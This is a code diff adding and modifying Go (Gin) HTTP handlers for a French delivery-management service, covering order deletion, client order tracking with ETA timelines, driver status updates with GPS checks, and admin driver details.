||||
commandID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil || commandID <= 0 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("🗑️ [DELETE_COMMAND] %s (%s) supprime cmd %d", username, userRole, commandID)
|
||||
|
||||
// ✅ UTILISER LA FONCTION ATOMIQUE
|
||||
err = database.DeleteCommandAtomic(commandID, username, userRole)
|
||||
if err != nil {
|
||||
log.Printf("❌ [DELETE_COMMAND] Erreur: %v", err)
|
||||
|
||||
// ❌ Ne pas exposer les détails de l'erreur
|
||||
if err.Error() == "commande non trouvée" {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||
} else {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur lors de la suppression"})
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [DELETE_COMMAND] Commande %d supprimée", commandID)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"message": "Commande supprimée définitivement",
|
||||
"deleted_by": gin.H{
|
||||
"username": username,
|
||||
"role": userRole,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// HELPER
|
||||
// ============================================
|
||||
|
||||
func getStatusCancelReason(status string) string {
|
||||
reasons := map[string]string{
|
||||
"livre": "La commande a déjà été livrée",
|
||||
"approved": "La livraison a été confirmée",
|
||||
"cancelled": "La commande est déjà annulée",
|
||||
"disabled": "La commande a été désactivée",
|
||||
}
|
||||
if reason, ok := reasons[status]; ok {
|
||||
return reason
|
||||
}
|
||||
return "Statut ne permettant pas l'annulation"
|
||||
}
|
||||
@@ -0,0 +1,264 @@
|
||||
// ============================================
|
||||
// handlers/client_tracking.go - NOUVEAU FICHIER
|
||||
// ➕ SUIVI COMMANDE POUR CLIENTS
|
||||
// ============================================
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"gestion/db"
|
||||
"log"
|
||||
"net/http"
|
||||
"strconv"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
// GetCommandStatus - Statut temps réel d'une commande
|
||||
// GET /api/v1/commands/:id/status
|
||||
func GetCommandStatus(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
username, exists := c.Get("username")
|
||||
if !exists {
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Authentification requise"})
|
||||
return
|
||||
}
|
||||
|
||||
usernameStr := username.(string)
|
||||
|
||||
commandID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("📊 [STATUS] Client %s demande statut cmd %d", usernameStr, commandID)
|
||||
|
||||
// Récupérer la commande
|
||||
command, err := database.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ VÉRIFIER PROPRIÉTÉ
|
||||
cmdUsername, _ := command["username"].(string)
|
||||
if cmdUsername != usernameStr {
|
||||
log.Printf("❌ [STATUS] Accès refusé - cmd de %s demandée par %s", cmdUsername, usernameStr)
|
||||
c.JSON(http.StatusForbidden, gin.H{
|
||||
"error": "Cette commande ne vous appartient pas",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Récupérer ETA
|
||||
etaData, _ := database.GetCommandETA(commandID)
|
||||
|
||||
// Récupérer infos livreur (si assigné)
|
||||
livreurInfo := gin.H{
|
||||
"assigned": false,
|
||||
}
|
||||
if livreurAssign, ok := command["livreur_assign"].(string); ok && livreurAssign != "" {
|
||||
queueInfo, _ := database.GetDeliverymanQueueInfo(livreurAssign)
|
||||
livreurInfo = gin.H{
|
||||
"assigned": true,
|
||||
"livreur_name": livreurAssign,
|
||||
"queue_position": queueInfo["queue_size"],
|
||||
}
|
||||
}
|
||||
|
||||
// Mapper le statut en message lisible
|
||||
statusMessage := getStatusMessage(command["status"].(string))
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"command_id": commandID,
|
||||
"status": command["status"],
|
||||
"status_message": statusMessage,
|
||||
"adresse": command["adresse"],
|
||||
"total_prix": command["total_prix"],
|
||||
"created_at": command["created_at"],
|
||||
"livreur": livreurInfo,
|
||||
"eta": etaData,
|
||||
})
|
||||
}
|
||||
|
||||
// GetMyCommandsWithTracking - Liste des commandes avec suivi
|
||||
// GET /api/v1/my-commands
|
||||
func GetMyCommandsWithTracking(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
username, exists := c.Get("username")
|
||||
if !exists {
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Authentification requise"})
|
||||
return
|
||||
}
|
||||
|
||||
usernameStr := username.(string)
|
||||
status := c.Query("status")
|
||||
|
||||
log.Printf("📋 [MY_CMDS] Client %s demande ses commandes (status=%s)", usernameStr, status)
|
||||
|
||||
commands, err := database.GetAllCommands(status, usernameStr)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur récupération",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Enrichir avec tracking
|
||||
enrichedCommands := make([]gin.H, len(commands))
|
||||
for i, cmd := range commands {
|
||||
commandID, _ := cmd["id"].(int)
|
||||
|
||||
// ETA
|
||||
etaData, _ := database.GetCommandETA(commandID)
|
||||
|
||||
// Infos livreur
|
||||
livreurInfo := gin.H{
|
||||
"assigned": false,
|
||||
}
|
||||
if livreurAssign, ok := cmd["livreur_assign"].(string); ok && livreurAssign != "" {
|
||||
queueInfo, _ := database.GetDeliverymanQueueInfo(livreurAssign)
|
||||
livreurInfo = gin.H{
|
||||
"assigned": true,
|
||||
"livreur_name": livreurAssign,
|
||||
"queue_position": queueInfo["queue_size"],
|
||||
}
|
||||
}
|
||||
|
||||
enrichedCommands[i] = gin.H{
|
||||
"id": cmd["id"],
|
||||
"status": cmd["status"],
|
||||
"status_message": getStatusMessage(cmd["status"].(string)),
|
||||
"adresse": cmd["adresse"],
|
||||
"total_prix": cmd["total_prix"],
|
||||
"created_at": cmd["created_at"],
|
||||
"livreur": livreurInfo,
|
||||
"eta": etaData,
|
||||
}
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"commands": enrichedCommands,
|
||||
"count": len(enrichedCommands),
|
||||
})
|
||||
}
|
||||
|
||||
// GetCommandTracking - Suivi détaillé d'une commande
|
||||
// GET /api/v1/commands/:id/tracking
|
||||
func GetCommandTracking(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
username := c.GetString("username")
|
||||
commandID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
// Récupérer commande
|
||||
command, err := database.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||
return
|
||||
}
|
||||
|
||||
// Vérifier propriété
|
||||
cmdUsername, _ := command["username"].(string)
|
||||
if cmdUsername != username {
|
||||
c.JSON(http.StatusForbidden, gin.H{
|
||||
"error": "Cette commande ne vous appartient pas",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Récupérer logs
|
||||
logs, _ := database.GetCommandLogs(commandID)
|
||||
|
||||
// ETA
|
||||
etaData, _ := database.GetCommandETA(commandID)
|
||||
|
||||
// Timeline (basé sur les logs)
|
||||
timeline := buildTimeline(logs)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"command_id": commandID,
|
||||
"status": command["status"],
|
||||
"status_message": getStatusMessage(command["status"].(string)),
|
||||
"eta": etaData,
|
||||
"timeline": timeline,
|
||||
"logs": logs,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// HELPERS
|
||||
// ============================================
|
||||
|
||||
// getStatusMessage retourne un message lisible pour le client
|
||||
func getStatusMessage(status string) string {
|
||||
messages := map[string]string{
|
||||
"pending": "⏳ En attente d'assignation",
|
||||
"assigned": "✅ Livreur assigné",
|
||||
"support": "👨💼 En préparation",
|
||||
"en_route": "🚗 En cours de livraison",
|
||||
"arrived": "📍 Livreur arrivé",
|
||||
"livre": "📦 Livré - En attente de confirmation",
|
||||
"delivered": "✅ Livré",
|
||||
"approved": "🎉 Livraison confirmée",
|
||||
"failed": "❌ Échec de livraison",
|
||||
"cancelled": "🚫 Annulée",
|
||||
"disabled": "⚠️ Désactivée",
|
||||
}
|
||||
|
||||
if msg, ok := messages[status]; ok {
|
||||
return msg
|
||||
}
|
||||
return "📋 " + status
|
||||
}
|
||||
|
||||
// buildTimeline construit une timeline depuis les logs
|
||||
func buildTimeline(logs []map[string]interface{}) []gin.H {
|
||||
timeline := make([]gin.H, 0)
|
||||
|
||||
for _, logEntry := range logs {
|
||||
status, _ := logEntry["status"].(string)
|
||||
message, _ := logEntry["message"].(string)
|
||||
createdAt, _ := logEntry["created_at"]
|
||||
|
||||
timeline = append(timeline, gin.H{
|
||||
"status": status,
|
||||
"message": message,
|
||||
"icon": getStatusIcon(status),
|
||||
"created_at": createdAt,
|
||||
})
|
||||
}
|
||||
|
||||
return timeline
|
||||
}
|
||||
|
||||
// getStatusIcon retourne une icône pour la timeline
|
||||
func getStatusIcon(status string) string {
|
||||
icons := map[string]string{
|
||||
"created": "🛒",
|
||||
"assigned": "👤",
|
||||
"support": "📦",
|
||||
"en_route": "🚗",
|
||||
"arrived": "📍",
|
||||
"livre": "✅",
|
||||
"approved": "🎉",
|
||||
"failed": "❌",
|
||||
"cancelled": "🚫",
|
||||
}
|
||||
|
||||
if icon, ok := icons[status]; ok {
|
||||
return icon
|
||||
}
|
||||
return "📋"
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,442 @@
|
||||
// ============================================
|
||||
// handlers/delivery_handlers.go
|
||||
// 🔧 VERSION MODIFIÉE avec ETA automatique
|
||||
// ============================================
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"gestion/db"
|
||||
"log"
|
||||
"math"
|
||||
"net/http"
|
||||
"strconv"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// 🔧 GetMyDeliveries
|
||||
// ============================================
|
||||
func GetMyDeliveries(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
username, exists := c.Get("username")
|
||||
if !exists {
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Non authentifié"})
|
||||
return
|
||||
}
|
||||
|
||||
if c.GetString("role") != "livreur" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs"})
|
||||
return
|
||||
}
|
||||
|
||||
usernameStr := username.(string)
|
||||
status := c.Query("status")
|
||||
|
||||
commands, err := database.GetDeliveryPersonCommands(usernameStr, status)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur récupération",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ✨ FILTRAGE (SANS TÉLÉPHONE)
|
||||
filteredCommands := make([]gin.H, len(commands))
|
||||
for i, cmd := range commands {
|
||||
commandID, _ := cmd["id"].(int)
|
||||
items, _ := database.GetCommandItems(commandID)
|
||||
|
||||
// Client info SANS téléphone
|
||||
clientUsername, _ := cmd["username"].(string)
|
||||
client, _ := database.GetClientByUsername(clientUsername)
|
||||
|
||||
clientInfo := gin.H{"nom": "Client", "prenom": ""}
|
||||
if client != nil {
|
||||
clientInfo = gin.H{
|
||||
"nom": client.Nom,
|
||||
"prenom": client.Prenom,
|
||||
}
|
||||
}
|
||||
|
||||
itemsSummary := make([]gin.H, len(items))
|
||||
for j, item := range items {
|
||||
itemsSummary[j] = gin.H{
|
||||
"produit": item["produit"],
|
||||
"quantite": item["quantite"],
|
||||
"prix": item["prix"],
|
||||
}
|
||||
}
|
||||
|
||||
etaData, _ := database.GetCommandETA(commandID)
|
||||
|
||||
filteredCommands[i] = gin.H{
|
||||
"id": cmd["id"],
|
||||
"status": cmd["status"],
|
||||
"adresse": cmd["adresse"],
|
||||
"total_prix": cmd["total_prix"],
|
||||
"created_at": cmd["created_at"],
|
||||
"client_info": clientInfo,
|
||||
"items": itemsSummary,
|
||||
"items_count": len(items),
|
||||
"eta": etaData,
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("✅ [MY_DELIVERIES] %d livraisons (données filtrées)", len(filteredCommands))
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"deliveries": filteredCommands,
|
||||
"count": len(filteredCommands),
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// GetDeliveryDetails
|
||||
// ============================================
|
||||
func GetDeliveryDetails(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
username := c.GetString("username")
|
||||
if c.GetString("role") != "livreur" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs"})
|
||||
return
|
||||
}
|
||||
|
||||
commandID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
command, err := database.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ VÉRIFIER PROPRIÉTÉ
|
||||
livreurAssign, _ := command["livreur_assign"].(string)
|
||||
if livreurAssign != username {
|
||||
log.Printf("❌ Accès refusé - cmd assignée à %s", livreurAssign)
|
||||
c.JSON(http.StatusForbidden, gin.H{
|
||||
"error": "Cette livraison ne vous est pas assignée",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
items, _ := database.GetCommandItems(commandID)
|
||||
|
||||
clientUsername, _ := command["username"].(string)
|
||||
client, _ := database.GetClientByUsername(clientUsername)
|
||||
|
||||
clientInfo := gin.H{"nom": "Client", "prenom": ""}
|
||||
if client != nil {
|
||||
clientInfo = gin.H{
|
||||
"nom": client.Nom,
|
||||
"prenom": client.Prenom,
|
||||
}
|
||||
}
|
||||
|
||||
itemsSummary := make([]gin.H, len(items))
|
||||
for i, item := range items {
|
||||
itemsSummary[i] = gin.H{
|
||||
"produit": item["produit"],
|
||||
"quantite": item["quantite"],
|
||||
"prix": item["prix"],
|
||||
}
|
||||
}
|
||||
|
||||
etaData, _ := database.GetCommandETA(commandID)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"delivery": gin.H{
|
||||
"id": command["id"],
|
||||
"status": command["status"],
|
||||
"adresse": command["adresse"],
|
||||
"total_prix": command["total_prix"],
|
||||
"created_at": command["created_at"],
|
||||
"client_info": clientInfo,
|
||||
"items": itemsSummary,
|
||||
"items_count": len(items),
|
||||
"eta": etaData,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 🔧 UpdateDeliveryStatus - VERSION MODIFIÉE
|
||||
// ✅ CALCUL AUTOMATIQUE ETA lors du passage en "en_route"
|
||||
// ============================================
|
||||
func UpdateDeliveryStatus(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
username, exists := c.Get("username")
|
||||
if !exists || c.GetString("role") != "livreur" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs"})
|
||||
return
|
||||
}
|
||||
|
||||
usernameStr := username.(string)
|
||||
commandID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
var req struct {
|
||||
Status string `json:"status" binding:"required"`
|
||||
Notes string `json:"notes"`
|
||||
Latitude float64 `json:"latitude"`
|
||||
Longitude float64 `json:"longitude"`
|
||||
}
|
||||
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Données invalides",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("📝 [UPD_STATUS] %s update cmd %d: %s", usernameStr, commandID, req.Status)
|
||||
|
||||
command, err := database.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ VÉRIFIER PROPRIÉTÉ
|
||||
livreurAssign, _ := command["livreur_assign"].(string)
|
||||
if livreurAssign != usernameStr {
|
||||
log.Printf("❌ Accès refusé - assigné à %s", livreurAssign)
|
||||
c.JSON(http.StatusForbidden, gin.H{
|
||||
"error": "Cette commande ne vous est pas assignée",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ STATUTS VALIDES POUR LIVREUR (correspondant à la DB)
|
||||
validStatuses := []string{
|
||||
"support", // Prise en charge
|
||||
"assigned", // Assigné (si auto-assignation)
|
||||
"en_route", // En route vers le client
|
||||
"arrived", // Arrivé à destination
|
||||
"livre", // Livré (en attente confirmation client)
|
||||
"failed", // Échec de livraison
|
||||
"cancelled", // Annulée
|
||||
}
|
||||
|
||||
isValid := false
|
||||
for _, s := range validStatuses {
|
||||
if req.Status == s {
|
||||
isValid = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !isValid {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Statut invalide",
|
||||
"valid_statuses": validStatuses,
|
||||
"received": req.Status,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ VALIDATION GPS pour livraison finale (livre ou failed)
|
||||
if (req.Status == "livre" || req.Status == "failed") &&
|
||||
req.Latitude != 0 && req.Longitude != 0 {
|
||||
|
||||
destLat, _ := command["dest_latitude"].(float64)
|
||||
destLon, _ := command["dest_longitude"].(float64)
|
||||
|
||||
if destLat != 0 && destLon != 0 {
|
||||
distance := calculateDistance(req.Latitude, req.Longitude, destLat, destLon)
|
||||
log.Printf("📍 [GPS] Distance: %.2f m", distance)
|
||||
|
||||
if distance > 100 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Vous êtes trop loin de la destination",
|
||||
"required_distance": 100,
|
||||
"current_distance": fmt.Sprintf("%.2f", distance),
|
||||
"unit": "meters",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [GPS] Validation OK")
|
||||
} else {
|
||||
log.Printf("⚠️ [GPS] Coordonnées de destination non disponibles, validation ignorée")
|
||||
}
|
||||
}
|
||||
|
||||
// Mettre à jour le statut
|
||||
if err := database.UpdateCommandStatus(commandID, req.Status); err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur mise à jour",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ SI PASSAGE EN "EN_ROUTE" → CALCULER ET DÉFINIR L'ETA
|
||||
var etaMinutes int
|
||||
var etaMessage string
|
||||
|
||||
if req.Status == "en_route" {
|
||||
log.Printf("🚗 [STATUS_LIVREUR] Passage en 'en_route' - Calcul ETA...")
|
||||
|
||||
// Récupérer les coordonnées destination
|
||||
var destLat, destLon float64
|
||||
|
||||
// 1. Essayer le cache Redis
|
||||
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
|
||||
destData, err := db.Redis.Get(db.RedisCtx, destCacheKey).Result()
|
||||
if err == nil && destData != "" {
|
||||
var coords struct {
|
||||
Lat float64 `json:"lat"`
|
||||
Lon float64 `json:"lon"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(destData), &coords); err == nil && coords.Lat != 0 && coords.Lon != 0 {
|
||||
destLat = coords.Lat
|
||||
destLon = coords.Lon
|
||||
log.Printf("📍 [STATUS_LIVREUR] Coords depuis cache Redis: (%.6f, %.6f)", destLat, destLon)
|
||||
}
|
||||
}
|
||||
|
||||
// 2. Fallback: récupérer depuis la DB
|
||||
if destLat == 0 || destLon == 0 {
|
||||
if dLat, ok := command["dest_latitude"].(float64); ok && dLat != 0 {
|
||||
destLat = dLat
|
||||
}
|
||||
if dLon, ok := command["dest_longitude"].(float64); ok && dLon != 0 {
|
||||
destLon = dLon
|
||||
}
|
||||
if destLat != 0 && destLon != 0 {
|
||||
log.Printf("📍 [STATUS_LIVREUR] Coords depuis DB: (%.6f, %.6f)", destLat, destLon)
|
||||
}
|
||||
}
|
||||
|
||||
// 3. Calculer l'ETA depuis la position du livreur
|
||||
if destLat != 0 && destLon != 0 {
|
||||
etaMinutes = database.CalculateETAForDeliveryman(usernameStr, destLat, destLon)
|
||||
|
||||
// Définir l'ETA dans Redis
|
||||
if err := database.SetCommandETA(commandID, etaMinutes); err != nil {
|
||||
log.Printf("⚠️ [STATUS_LIVREUR] Erreur définition ETA: %v", err)
|
||||
} else {
|
||||
log.Printf("✅ [STATUS_LIVREUR] ETA défini: %d minutes", etaMinutes)
|
||||
etaMessage = fmt.Sprintf("Arrivée prévue dans %d minutes", etaMinutes)
|
||||
}
|
||||
} else {
|
||||
log.Printf("⚠️ [STATUS_LIVREUR] Coordonnées destination manquantes - ETA par défaut")
|
||||
etaMinutes = 30 // Fallback
|
||||
database.SetCommandETA(commandID, etaMinutes)
|
||||
etaMessage = "Arrivée prévue dans 30 minutes (estimation par défaut)"
|
||||
}
|
||||
|
||||
// Mettre à jour le statut du livreur en "delivering"
|
||||
database.SetDeliveryPersonStatus(usernameStr, "delivering", commandID)
|
||||
log.Printf("🚗 [STATUS_LIVREUR] Statut livreur mis à jour: delivering")
|
||||
}
|
||||
|
||||
// Log
|
||||
message := req.Notes
|
||||
if message == "" {
|
||||
message = getDeliveryStatusMessage(req.Status)
|
||||
}
|
||||
if etaMessage != "" {
|
||||
message += fmt.Sprintf(" - %s", etaMessage)
|
||||
}
|
||||
database.AddCommandLog(commandID, req.Status, message, usernameStr)
|
||||
|
||||
// ✅ GESTION SPÉCIALE SELON LE STATUT
|
||||
switch req.Status {
|
||||
case "livre":
|
||||
// Livraison terminée - Optimiser la queue
|
||||
log.Printf("📦 Livraison marquée 'livre' - Optimisation queue...")
|
||||
database.CompleteDeliveryAndProcessNext(usernameStr, commandID)
|
||||
|
||||
case "failed":
|
||||
// Échec de livraison - Optimiser la queue
|
||||
log.Printf("❌ Livraison échouée - Optimisation queue...")
|
||||
database.CompleteDeliveryAndProcessNext(usernameStr, commandID)
|
||||
|
||||
// Créer un problème de livraison
|
||||
database.CreateDeliveryIssue(
|
||||
commandID,
|
||||
"delivery_failed",
|
||||
fmt.Sprintf("Échec de livraison: %s", req.Notes),
|
||||
usernameStr,
|
||||
)
|
||||
|
||||
case "arrived":
|
||||
log.Printf("📍 Livreur arrivé à destination - Commande %d", commandID)
|
||||
}
|
||||
|
||||
response := gin.H{
|
||||
"success": true,
|
||||
"message": "Statut mis à jour",
|
||||
"command_id": commandID,
|
||||
"status": req.Status,
|
||||
}
|
||||
|
||||
if req.Status == "en_route" && etaMinutes > 0 {
|
||||
response["eta_minutes"] = etaMinutes
|
||||
response["eta_message"] = etaMessage
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, response)
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// HELPERS
|
||||
// ============================================
|
||||
func calculateDistance(lat1, lon1, lat2, lon2 float64) float64 {
|
||||
const earthRadiusKm = 6371
|
||||
const metersPerKm = 1000
|
||||
|
||||
lat1Rad := degreesToRadians(lat1)
|
||||
lon1Rad := degreesToRadians(lon1)
|
||||
lat2Rad := degreesToRadians(lat2)
|
||||
lon2Rad := degreesToRadians(lon2)
|
||||
|
||||
dLat := lat2Rad - lat1Rad
|
||||
dLon := lon2Rad - lon1Rad
|
||||
|
||||
a := math.Sin(dLat/2)*math.Sin(dLat/2) +
|
||||
math.Cos(lat1Rad)*math.Cos(lat2Rad)*
|
||||
math.Sin(dLon/2)*math.Sin(dLon/2)
|
||||
|
||||
c := 2 * math.Atan2(math.Sqrt(a), math.Sqrt(1-a))
|
||||
return earthRadiusKm * c * metersPerKm
|
||||
}
|
||||
|
||||
func degreesToRadians(degrees float64) float64 {
|
||||
return degrees * math.Pi / 180
|
||||
}
|
||||
|
||||
func getDeliveryStatusMessage(status string) string {
|
||||
messages := map[string]string{
|
||||
"support": "Prise en charge de la livraison",
|
||||
"assigned": "Commande assignée",
|
||||
"en_route": "En route vers le client",
|
||||
"arrived": "Arrivé à destination",
|
||||
"livre": "Livraison effectuée",
|
||||
"failed": "Échec de livraison",
|
||||
"cancelled": "Livraison annulée",
|
||||
}
|
||||
if msg, ok := messages[status]; ok {
|
||||
return msg
|
||||
}
|
||||
return fmt.Sprintf("Statut changé: %s", status)
|
||||
}
|
||||
@@ -0,0 +1,602 @@
|
||||
// ============================================
|
||||
// handlers/delivery_admin_handlers.go
|
||||
// HANDLERS ADMIN POUR LA GESTION DES LIVREURS
|
||||
// ============================================
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"gestion/db"
|
||||
"log"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// 📊 GET DELIVERY PERSON DETAILS
|
||||
// ============================================
|
||||
|
||||
// GetDeliveryPersonDetails récupère les détails complets d'un livreur
|
||||
// GET /api/v2/admin/protected/delivery-persons/:username
|
||||
func GetDeliveryPersonDetails(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// ✅ SÉCURITÉ: Admin seulement
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" && userRole != "cabine" && userRole != "livreur" {
|
||||
log.Printf("❌ [GET_DELIVERY_DETAILS] Accès refusé - role=%s", userRole)
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||
return
|
||||
}
|
||||
|
||||
username := c.Param("username")
|
||||
if username == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Username requis"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("👤 [GET_DELIVERY_DETAILS] Récupération détails pour: %s", username)
|
||||
|
||||
// ============================================
|
||||
// ÉTAPE 1: Récupérer les infos de base du livreur
|
||||
// ============================================
|
||||
livreur, err := database.GetUserByUsername(username)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GET_DELIVERY_DETAILS] Livreur non trouvé: %v", err)
|
||||
c.JSON(http.StatusNotFound, gin.H{
|
||||
"error": "Livreur non trouvé",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Vérifier que c'est bien un livreur
|
||||
if livreur.Role != "livreur" {
|
||||
log.Printf("❌ [GET_DELIVERY_DETAILS] Utilisateur n'est pas un livreur: role=%s", livreur.Role)
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Cet utilisateur n'est pas un livreur",
|
||||
"role": livreur.Role,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// ÉTAPE 2: Récupérer le statut et la position GPS
|
||||
// ============================================
|
||||
status, err := database.GetDeliveryPersonStatus(username)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [GET_DELIVERY_DETAILS] Impossible de récupérer le statut: %v", err)
|
||||
status = "offline" // Statut par défaut
|
||||
}
|
||||
|
||||
// Utiliser la fonction GPS existante
|
||||
lat, lon, err := database.GetDeliveryPersonLocation(username)
|
||||
var locationInfo map[string]interface{}
|
||||
if err == nil {
|
||||
locationInfo = map[string]interface{}{
|
||||
"latitude": lat,
|
||||
"longitude": lon,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// ÉTAPE 3: Récupérer les stats de livraison
|
||||
// ============================================
|
||||
queueSize, _ := database.GetDeliverymanQueueSize(username)
|
||||
currentCommand, _ := database.GetCurrentCommand(username)
|
||||
|
||||
// Compter les livraisons
|
||||
totalDeliveries, _ := database.CountDeliveriesByStatus(username, "")
|
||||
completedDeliveries, _ := database.CountDeliveriesByStatus(username, "approved")
|
||||
pendingDeliveries, _ := database.CountDeliveriesByStatus(username, "assigned,en_route,livre")
|
||||
|
||||
log.Printf("✅ [GET_DELIVERY_DETAILS] Détails récupérés pour %s", username)
|
||||
|
||||
// ============================================
|
||||
// RÉPONSE
|
||||
// ============================================
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"deliveryman": gin.H{
|
||||
"id": livreur.ID,
|
||||
"username": livreur.Username,
|
||||
"role": livreur.Role,
|
||||
"status": status,
|
||||
"current_command": currentCommand,
|
||||
"queue_size": queueSize,
|
||||
"total_deliveries": totalDeliveries,
|
||||
"completed_deliveries": completedDeliveries,
|
||||
"pending_deliveries": pendingDeliveries,
|
||||
"location": locationInfo,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 🔄 UPDATE DELIVERY PERSON STATUS
|
||||
// ============================================
|
||||
|
||||
// UpdateDeliveryPersonStatusAdmin modifie le statut d'un livreur (Admin)
|
||||
// PUT /api/v2/admin/protected/delivery-persons/:username/status
|
||||
